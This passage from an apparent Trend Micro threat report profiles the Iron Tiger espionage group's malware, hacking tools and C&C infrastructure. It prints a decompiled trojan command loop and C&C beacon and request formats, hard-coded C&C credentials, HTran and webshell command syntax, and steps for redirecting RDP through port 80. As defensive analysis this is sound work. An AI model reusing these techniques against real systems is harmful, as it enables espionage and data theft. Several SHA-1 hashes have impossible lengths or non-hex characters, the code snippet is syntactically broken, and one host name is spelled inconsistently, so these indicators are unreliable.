The additional features revealed that Ring RAT was built for espionage purposes.

Ring RAT is not available in underground forums or any publicly accessible site. This modified Ghost RAT could have been created for Iron Tiger’s or a closed community’s exclusive use.
Iron Tiger uses another Ghost RAT variant, NBDDOS. A file named “ver.exe” (SHA-1: 8c8f12ae866c3b931e19d67fa62e191d18aafa0865), which was compiled on 26 December 2014, drops a DLL (SHA-1: 5663817181412b570ed500803ceca5ed85580ff), which was compiled 1 minute before ver.exe was.

The DLL was dropped into %TEMP% then moved to %system%. Careful examination and comparison with Ghost’s code revealed that it was another derivative of the latter. NBDDOS is installed as a service named “MediaCenter.” This can’t be used as an IoC, however, since it can be easily configured using the builder.

```
NBDDOS's service name and description

NBDDOS's installation function can be modified using a multi-strcat function, probably in an attempt to evade string-based detection. Its C&C server address can be extracted from a Web page or is hard-coded in its binary.

```
Two C&C server types supported by NBDDOS

NBDDOS was configured to retrieve C&C server addresses from a single Web page—phpxss.lofter.com. Lofter.com is a light blogging or social networking service. It also uses “phpxss” as account name.

If the Web page option is configured, the IP address and port number must be surrounded by a unique magic string, “$$$$$$$$$$$$$.” Two magic strings accompany the C&C server string, which can help serve as an IoC for other security investigators. Compared with the original Ghost RAT, NBDDOS uses a different encryption function.
NBDDOS’s encryption function

NBDDOS also uses a special string, “Vip20141226,” where “20141226” can correspond to the binary’s compilation date. We have no idea though what “Vip” represents. The only reference we found was inside the controller, near the credentials.

An NBDDOS controller used in Iron Tiger (SHA-1: 396af3ae018a9e251a832ece8aae1bca11c7c05) compiled on 8 December 2014 was named “hello.exe.”

![NBDDOS controller’s GUI](image)
Most of the original Gh0st RAT’s functions have been removed from NBDDOS, except for the remote control feature. Its builder supports the C&C server types, namely:

- C&C information extracted from a Web page or file
- Use of DNS resolution
- Use of direct IP addresses

Two packers—UPX and FSG—are available though users can also generate unpacked malware. Malware service names can be easily changed on infected systems via the same interface.

NBDDOS can easily be downloaded from Chinese underground forums.

GTalkTrojan

GTalkTrojan (SHA-1: 50d2fe4e68007244108405373350d9ba606a6c6), which was compiled on 15 October 2012, has very few functions, including:

- Provides a remote shell
- Has a “getfile” feature for data exfiltration (Note that it can only send files from a victim’s computer to a C&C server.)
- Has a “settime” feature to set when infected systems should access C&C servers (default: 1 second)
"Getfile" and "settime" functions of GTalkTrojan

To remain persistent, GTalkTrojan adds a RunOnce registry key, HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce. It then copies itself into c:\windows\svchost.exe, creates a "cmd" command pipe, and accesses a C&C server—update.gtalklite.com—via port 8080.

```c
while (InternetReadFile(u7, u8, 0, &u9, &u10, sizeof(u9) << 1))
  if (strncmp(u9, "getfile", 7u))
  {
    *u10 * strlen(u9)) = 0;
    sub_401884(u9, 0);
  }
else
{
  v10 = strncmp(v19, "settime", 7u) == 0;
  u17 = u18;
  if (u17)
  {
    "
    u12 = *u18++;
    while (u12);
    vad_B9EE8 = stat[&u28];
  }
  else if (strncmp(v19, "")
  {
    WriteFile(u18, v19, strlen(v19), &Number0fBytesWritten, 0);
  }
  InternetCloseHandle(u7);
  Sleep(100 * vad_B9EE8);
```

GTalk Trojan adds the "vnet" registry key to remain persistent
When a connection is established, GTalkTrojan sends the following information to a C&C server:

Computer=<COMPUTER NAME>\[USERNAME]\lanip=<LAN IP ADDRESS>&uid=<UID>&os=<OPERATING SYSTEM> followed by command output

Network capture showing the data GTalkTrojan sends to a C&C server
Should a C&C server require authentication, the following credentials are hard-coded into the binary:

Username: idmservice  
Password: D13idmAdm

GTalkTrojan uses the User-Agent, “HttpDump/1.0,” and sends out an MD5 hash as UID for SysDrive-SerialNumber. It used the gtalklite.com domain in its compilation registration.

Registrant Contact:  
zhong meng [REDACTED]  
sheng li [REDACTED]  
[REDACTED]j@126.com  
tel: +86.[REDACTED]97837  
fax: +86.[REDACTED]97837  
he bei sheng he jian sha wa xiang xi liu wa cun CN

GTalkTrojan’s registration information

We found two other domains registered with the same information though they were not used in any targeted attack operation that we know of.

HTTPBrowser

HTTPBrowser infects systems like PlugX does—via DLL side-loading. One version (SHA-1: 75f098d6b3f217aba4c068b12896c332216fe6b3) used in Iron Tiger employed a legitimate Kaspersky binary named “setup.exe” to infect systems with a malicious DLL. When launched, setup.exe:

- Loads msi.dll via the DLL Hijacking technique
- Unencrypts and runs msi.dll in memory
- Copies itself into %ALLUSER%\Application Data\kav\
- Creates the Run registry key, HKLM\Software\Microsoft\Current Version\Run, to remain persistent
- Creates the suspended process, msiexec.exe [CnC IP] [CnC Port] 1
- Creates and runs a remote thread in the suspended process
- Unpacks msi.dll.url
- Replaces the original msiexec.exe image in memory with a malicious code
- Executes the malicious code
- Accesses a C&C server and waits for commands
HTTPBrowser uses a specific technique to bypass User Access Control (UAC). HTTPBrowser accesses a C&C server with the IP address, 103.24.1.54, via port 443. This was hosted in Hong Kong at the time this paper was written. It creates a unique GUID that is stored in config.ini on infected systems. It then accesses a C&C server using the following HTTP GET request:

GET /loop?c=[computer]->[user]&l=[ip]&o=[os version]&u=[client id]&r=[inject mode]&t=[time stamp]
Host: REDACTED
Connection: Keep-Alive
User-Agent: HttpBrowser/1.0

HTTPBrowser has remote shell-creation, uploading and/or downloading, and file-listing functions, which make it a lightweight RAT that capable of executing more malicious commands or even exfiltrating data. To the best of our knowledge, it is not available in underground forums or other publicly accessible sites. It could have been created for the exclusive use in targeted attacks.

Old unpatched servers that can be found online are easy prey to any attacker.

File certificate abusers

Iron Tiger uses three tools signed with the certificates on the next page.
Iron Tiger uses this certificate signed on 22 November 2012

Certificate's validity information

The certificate with serial number, 23 92 b8 b2 e1 d5 e9 27 c7 26 37 9b 45 d2 21 ce, valid from 15 September 2012 to 15 November 2014, was issued by Korea-based company, SoftCamp. It was signed on 22 November 2012 and has been used for the Netcat (nc) binary, HTran’s packed version, and a GSecDump binary.

It is not clear why the actors decided to sign files but not the malware at the same time and in the same way. We have not seen any of the other file certificates they used. This could be because they did not need them and found that their tools and malware were enough to stealthily move inside target networks. Adding the legitimate file certificate to their arsenal made it easier for the attackers to laterally move throughout networks and collect user credentials without getting noticed. Signed binaries are not often monitored by security solutions.

More Iron Tiger tools

AspxSpy2014

AspxSpy is a publicly available WebShell. The version that Iron Tiger uses—AspxSpy2014—has been slightly modified though to evade detection.
### File name | SHA-1 | Description
--- | --- | ---
AspxSpy2014Final.aspx | c3f5d5d52890fe72bd2fc4c08aaf538da73016d7 | AspxSpy2014—Main
PluginDeflater.exe | 7875ec1ffad546476de7e5ad3e87930e7fa7ba95 | AspxSpy2014—Plug-in
SUEXPPlugin.dll | 45ff712ae345129a9ac70060ccc62a9b85f62804b | AspxSpy2014—Plug-in
TestPlugin.dll | b9f67f98fa311eaeb85e9914cd96d99e9db3c | AspxSpy2014—Plug-in
activedsimp.dll | b27277142f4f7f1a777630a7650314daae9ecfeb | AspxSpy2014—Plug-in

More information on AspxSpy2014

**PluginDeflater.exe** is a tool used to compress AspxSpy’s plug-in DLLs. **SUEXPPlugin.dll**, meanwhile, is a local exploit plug-in for an old Serv-U FTP Server vulnerability. Finally, **activedsimp.dll** is an Active Directory service AspxSpy plug-in.

**Mimikatz, ZhuMimikatz, and Invoke-Mimikatz**

We found several variants of the Mimikatz password dumper. While some were common versions (SHA-1: 3d3db9d8da0eba33444c73b6f05a4fd098a685055), others were not like ZhuMimikatz (SHA-1: 4883376735f981386e47318482f0e90ed670) and two Mimikatz PowerShell versions (SHA-1: 14a4b7cd0215a3d512f9766ec4072a784f123527 and ab68576e3cf6bf8020cf15a88390e9f0d54389b). These allowed Mimikatz to completely work in memory without leaving traces on the file system.

**GSecDump**

GSecDump is a free publicly available password dumper. It has been used for years by various threat actors and legitimate security auditors alike. Nearly all threat actors slightly modified the GSecDump binary to evade antivirus detection. All versions found are, in fact, detected on VirusTotal.

**QuarksPwDump**

Password dumper, QuarksPwDump or hashdump.exe (SHA-1: 3c6beca09594601db64dc32c2e0384425a8bf8c, detected by Trend Micro as HKTL_PWDump), along with its source code, are also publicly available for free on [https://github.com/quarkslab/quarkspwdump](https://github.com/quarkslab/quarkspwdump). The actors, however, compiled their own version in June 2012, a month after the release of the original code. This showed that they closely monitored such security tool updates.
GetPassword_x64

GetPassword_x64 (SHA-1: 71c1988a7a14e2257a91bec5efa85520540aa5c, detected by Trend Micro as HKTL_PWDump) is a password dumper specifically for 64-bit systems. It is also publicly available. It has the debug string, “C:\Users\K8team\Desktop\GetPassword\Debug x64\GetPassword.pdb,” in its binary that points to its developer, K8Team.

ReadPWD86

ReadPWD86 is another publicly available password dumper for x86 systems (SHA-1: 65b77d8b1fdd63a343c28e978487bc38b9792c6f, detected by Trend Micro as HKTL_PWDump).

EFH3/1F

EFH3/1F is a command-line tool that encodes files. It has a pretty straightforward purpose.

NBTScan

NBTScan is a free publicly available tool that scans for open NETBIOS name servers on a local or remote TCP/IP network. Its functionality is based on that of standard Windows tool, nbtstat, though it operates on several addresses instead of just one.
Netcat or `nc.exe` is a popular tool among network administrators and security auditors. It is often referred to as the “Swiss Army knife” of network-related tools. It allows users to read and write data across TCP or UDP network connections. While it is a very simple tool, it can do a lot of things, including opening a port and listening for connections, executing remote shells, and others. The `nc.exe` binary is signed with a SoftCamp file certificate.
HTran

HTran is very popular among Chinese threat actors. It is a network communication bouncer that allows attackers to use compromised machines as pivot to access other unreachable systems, for one. We found a packed and slightly modified (SHA-1: 9484bb1b1ce39355a66b20fe361846ce1f063e0, detected by Trend Micro as HKTL_HTRan) and an unpacked version (SHA-1: 0ad2796b1312af4db975a3978ede19e939e42846, also HKTL_HTRan) of this tool used in attacks. Both were named “websys.exe.” The packed HTran version was also signed with a SoftCamp file certificate.

```
[Htran ver1.00]  [Usage of Packet Transmit:]
websys.exe -<listen|tran:slave> <option> [-log logfile]
[option:]
-listen <ConnectPort> <TransmitPort>
-tran <ConnectPort> <TransmitHost> <TransmitPort>
-slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>
```

HTran command-line tool

Unknown redirection toolkit

Though we could not identify this toolkit’s name, we found that it comprised netcat and two files—drivers.exe (SHA-1: add6f880705b4aaf4b22b60dd67ca9034694550d, detected by Trend Micro as HKTL_PORTCON) and ChangePort.exe (SHA-1: a346588c70751815bb4e0922ea2ce1ab9953db, also HKTL_PORTCON). It is very rarely seen in targeted attack campaigns.

Attackers who want to access RDP 3389 via port 80 on an IIS server configured to only leave port 80 open can use this toolkit, among others. We saw attackers:

- Execute drivers.exe on the IIS server, which installs a Network Driver Interface Specification (NDIS) driver
- Run ChangePort.exe to map any port to port 3389 on the IIS server
- Execute nc.exe and access the target server via port 80
- When a connection has been established, send the special string, “Send chkroot2007,” and disconnect
- An RDP client can now be connected to a target system’s port 80 while all network traffic is redirected to port 3389

Because the attackers identified themselves by sending the special string, only their traffic is redirected. Everyone else’s will be unaffected and stay on port 80.
Zval.jsp

Zval.jsp is not a standalone WebShell, it needs a client to run on compromised servers. All commands are passed with the parameter, /:[REDACTED].jsp?password=[Command]&z1=[Argument]&z2=[Argument]. The following commands can be used:

- A List drives
- B List files in target directory
- C Read file (ASCII mode)
- D Write file (ASCII mode)
- E Delete file or directory
- F Download file (Binary mode)
- G Upload file (Hex to Binary mode)
- H Copy file or directory
- I Rename file
- J Create directory
- K Set last modified time for file
- L Download file from remote URL
- M Execute shell command
- N Get database information
- O List tables for specific database
- P List columns for specific table
- Q Execute SQL command

This WebShell works with China Chopper.

HTTP/SOCKS Proxy

We also found a tool called “so.exe” (SHA-1: 3ea58b2ff30ee1053a4053c681042516cb57038e, detected by Trend Micro as HKTL_Proxy). It is a very basic HTTP/SOCKS proxy, which is a slightly modified version of the publicly available SOCKS v4 && v5 && Http Proxy V2.0 by LZX.

Other tools

In addition to the above-mentioned tools, the actors also use legitimate tools, including:

- Local.exe from Microsoft’s Resource Kit, which enumerates the members of local groups on remote servers or domains
- Microsoft’s PsGetSid.exe, which allows users to translate SIDs into display names and vice versa
- Joeware.net’s GetUserinfo

We also found old exploits (CVE-2008-1436) for IIS 6 named “helloa.exe” (SHA-1: 126a5972a0f6bo5ba2b52d7d848e8a9824f562, detected by Trend Micro as HKTL_IISExploit) and “6.exe” (SHA-1: 856c3252fbc3d0e17d7d65edff1ebbab48496d, also HKTL_IISExploit).
Infrastructure

Iron Tiger’s C&C infrastructure included several compromised servers and the extensive use of BAIGE VPN’s services.

Compromised C&C servers

Iron Tiger successfully compromised an Asian academic institution’s server to act as C&C server and stolen data drop zone for dnstunctient. It was also accessed by a PlugX variant through a subdomain of shangxian.info. We decided not to disclose this subdomain though since it can reveal the academic institution’s name.

This server was poorly configured. It was also used by warez distributors, in addition to the actors. The warez distributors used it to store videos for virtually anyone on the Internet. FTP access to it did not require authentication. As such, anyone can use its various folders. One user even created a folder with a funny name just to show how poorly secured the server was.

Data collected from C&C servers

We were able to gather a lot of information from Iron Tiger’s main C&C server—the academic institution’s compromised server.

Network connections made to C&C servers

Several network connections made via RDP were seen. This is not surprising, as the protocol is used to access remote computers from different geographical locations. The actors accessed the C&C server using various IP addresses.

<table>
<thead>
<tr>
<th>IP address</th>
<th>Computer name</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>114.88.206.132</td>
<td>YOU/SITE</td>
<td>China</td>
</tr>
<tr>
<td>211.62.158.22</td>
<td>YOU/SITE</td>
<td>Korea</td>
</tr>
<tr>
<td>180.150.226.27</td>
<td>YOU/SITE</td>
<td>Korea</td>
</tr>
<tr>
<td>67.198.244.74</td>
<td>YOU/SITE</td>
<td>USA</td>
</tr>
<tr>
<td>157.7.64.122</td>
<td>YOU/SITE</td>
<td>Japan</td>
</tr>
<tr>
<td>157.7.64.122</td>
<td>XM-ATT</td>
<td>Japan</td>
</tr>
<tr>
<td>125.140.30.31</td>
<td>YOU/SITE</td>
<td>Korea</td>
</tr>
<tr>
<td>203.232.186.35</td>
<td>YOU/SITE</td>
<td>Korea</td>
</tr>
</tbody>
</table>

IP addresses that the actors use to access the C&C server
The computer name, “YOUSISTE,” frequently accessed the server, though we did not find useful information on it. Interestingly, two different computers used the same IP address to access the C&C server. An attacker could have used two computers to access the server or several attackers could have used the same attack infrastructure.

We believe the RDP connections were aided by VPN services and/or compromised computers, making the actors harder to track and find. A connection going to a Chinese IP address (116.233.12.114), which was used as a data-exfiltration channel, was also seen.

**Attackers’ local account**

A single user account named “xss” was created on the C&C server (compromised Windows Server® 2003) on 14 September 2014. It used the password, “woshinidie,” which translates to “I am your father” in Pinyin. Pinyin is the official phonetic system for transcribing Mandarin pronunciations of Chinese characters into the Latin alphabet. This password could be a funny reference to “Star Wars.”

The letters, “xss,” also seen in the Blogspot page (xssok), were again seen in reference to the C&C server.

The xss user account was used in the last quarter of 2014. It has not been used since. Instead, the real administrator account was used.

**Additional email accounts**

Apart from the account used in spear-phishing campaigns, we saw the actors use additional email accounts for various purposes. They had several email accounts, mostly for testing purposes, with “phpxss” or “testxss” from providers like Gmail™, Hotmail, AOL, and Yahoo!®.

The actors could be reporting to a different email address per victim. They, for instance, sent a list of files from a compromised system to a specific email address, which indicated the progress made. It is not clear, however, if the receiver was a member of the group or a third party that provided expert services to let attackers know which files were worth stealing.

**Extensive use of BAIGE VPN’s services**

Phpxxs extensively used BAIGE VPN’s servers, which were mostly located in China (a little more than 500 different IP addresses). Some servers were located in the US, Canada, Hong Kong, Russia, Taiwan, Japan, and South Korea.
BAIGE VPN offers very affordable services. Its most expensive offering was a one-year subscription worth 130 Yuan (around €19). Its Windows client is pretty straightforward.
While phpxss appears to use this service, it may not be the only one. To ensure anonymity, attackers normally hid behind several layers or VPNs or proxies.

BAIGE VPN does not accept customers outside China. It immediately filters out external connections via a registration page.

Domain registration

Iron Tiger used several legitimate online services for its infrastructure but also employed registered domains.

Shangxian.info

One of shangxian.info’s subdomains was configured to point to the main C&C server’s IP address. The domain was registered by phpxss.

Interestingly, one user named “myershao” uses the exact same password as phpxss to create a local account on a compromised machine. A familiar email address, [REDACTED]o@live.cn, was also seen.
Pi.mail.info

Pi.mail.info was used in relation to two malware families at the same time—Ghost and PlugX. These served as file attachments in a spear-phishing campaign.

In one campaign, a .RAR file named “documentation.rar” contained a dropper (SHA-1: 3bcd9075ff5883bc460a74ec0a3bf90330542335) of a Ghost variant named “NWCWorkstationex.dll” (SHA-1: 96d6a6727a6d650ab8c5465cb4b091217e75a5f). NWCWorkstationex.dll could be an early version of Ring RAT configured to steal .DOC, .TXT, and .PPT files.

Another archive seen contained a dropper (SHA-1: 11348a72a0864c6c455a533d5d7bde2997270266) of a Poison Ivy variant (SHA-1: 6bcd525bb425db7bce79dd6a60f88f925b0cb) named “mspmsnsv.dll.” Its configuration leaked the nickname, “2shao,” which we were not able to tie to a real person’s identity or profile.

Mail.info’s registration information has changed several times. It showed references to supposed identities in Russia or the US at the time it was being actively used by malware. It had matching elements tied to [REDACTED]o@live.cn and Guo Fei.

```
Registrant Name: Guo Fei [REDACTED]
Registrant Organization:
Registrant Street1: He Nan Sheng Huo Jia Xian
Registrant Street2: 
Registrant Street3: 
Registrant City: XinXiang
Registrant State/Province: HeNan
Registrant Postal Code: 0373
Registrant Country: CN
Registrant Phone: +86.[REDACTED]39262
Registrant Email: [REDACTED]o@live.cn
```

Mail.info’s registration information
Mitigation: Combating cyber espionage and targeted attacks

Foreign spies in espionage films help their nations obtain competitive advantages over others by jumping seemingly impossible hoops and hurdles. These days, spying happens in cyberspace where threat actors are aided by either ready-made or customized tools and social engineering lures.

We saw cyberspies with digital roots in China target high-technology organizations from the US, but not before spending years extracting information from targets in Asia-Pacific, including their own country. Iron Tiger, which could be part of a larger campaign where actors are assigned specific targets to monitor, particularly trailed its sights on obtaining defense-related information. It is believed to have stolen up to terabytes of data, given that an organization lost 58GB alone.

Targets face serious repercussions, given the sensitive nature of the data they keep. The data the actors stole, after all, translates to years of invaluable government and corporate research and development (R&D) dollars.

For nation-states like the US and China, cyber espionage may not come as a surprise. Several campaigns like Pawn Storm and Arid Viper have already taken advantage of the weakest links across industries to gain counterintelligence or perform industrial espionage on perceived foes.

Questions with regard to threat mitigation remain. Thwarting cyber attacks should not rely on off-the-shelf, traditional anti-malware solutions alone. Sensitive data requires custom defense and multilayer protection that can’t be easily rendered useless by spear-phishing campaigns and malware attacks. Organizations need to gather threat intelligence to combat cyber espionage and protect against targeted attacks. They should operate under the assumption that their network has already been compromised.
References


TREND MICRO™

Trend Micro Incorporated, a global cloud security leader, creates a world safe for exchanging digital information with its Internet content security and threat management solutions for businesses and consumers. A pioneer in server security with over 20 years experience, we deliver top-ranked client, server, and cloud-based security that fits our customers’ and partners’ needs; stops new threats faster; and protects data in physical, virtualized, and cloud environments. Powered by the Trend Micro™ Smart Protection Network™ infrastructure, our industry-leading cloud-computing security technology, products and services stop threats where they emerge, on the Internet, and are supported by 1,000+ threat intelligence experts around the globe. For additional information, visit www.trendmicro.com.